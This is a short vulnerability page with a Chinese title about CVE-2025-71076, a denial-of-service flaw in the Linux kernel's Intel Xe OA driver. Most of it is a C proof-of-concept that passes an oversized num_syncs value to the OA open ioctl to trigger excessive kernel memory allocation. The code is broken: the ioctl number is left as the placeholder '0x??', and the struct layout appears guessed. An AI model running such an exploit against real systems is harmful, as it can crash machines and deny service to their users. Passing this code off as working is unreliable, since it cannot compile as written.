CVE-2025-71076: Linux内核drm/xe/oa驱动num_syncs验证缺失导致拒绝服务

/* * CVE-2025-71076 PoC - Linux Kernel drm/xe/oa num_syncs Validation Bypass * * This PoC demonstrates the vulnerability where unvalidated num_syncs parameter * in the OA open ioctl can lead to excessive memory allocation. * * Note: This is a proof-of-concept for educational purposes only. * Running this may cause system instability or crash. * * Requirements: * - Intel Xe graphics hardware (or xe driver module loaded) * - Local access to /dev/dri/cardX */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdint.h> /* Structure definition based on DRM_XE_OA_OPEN ioctl */ struct drm_xe_oa_open { uint32_t flags; uint32_t oa_unit; uint32_t num_syncs; /* Unvalidated parameter - vulnerability */ uint64_t syncs; /* Pointer to sync objects */ uint32_t ctx_id; uint32_t reserved0; uint64_t reserved1[4]; }; #define DRM_IOCTL_XE_OA_OPEN 0x?? /* Actual ioctl number */ int main(int argc, char *argv[]) { int fd; struct drm_xe_oa_open args; /* Open the DRM device */ fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); return 1; } /* Initialize args structure */ memset(&args, 0, sizeof(args)); /* * VULNERABILITY: Setting num_syncs to an extremely large value * This should be validated against DRM_XE_MAX_SYNCS but wasn't * before the fix. */ args.num_syncs = 0x7FFFFFFF; /* Large value to trigger excessive allocation */ args.syncs = 0; args.oa_unit = 0; args.flags = 0; printf("CVE-2025-71076 PoC\n"); printf("Attempting to trigger vulnerability with num_syncs=%u\n", args.num_syncs); /* Trigger the vulnerable ioctl */ if (ioctl(fd, DRM_IOCTL_XE_OA_OPEN, &args) < 0) { /* After fix: Should return -EINVAL */ perror("ioctl failed (expected after patch)"); } else { printf("ioctl succeeded - possible vulnerability present\n"); } close(fd); return 0; }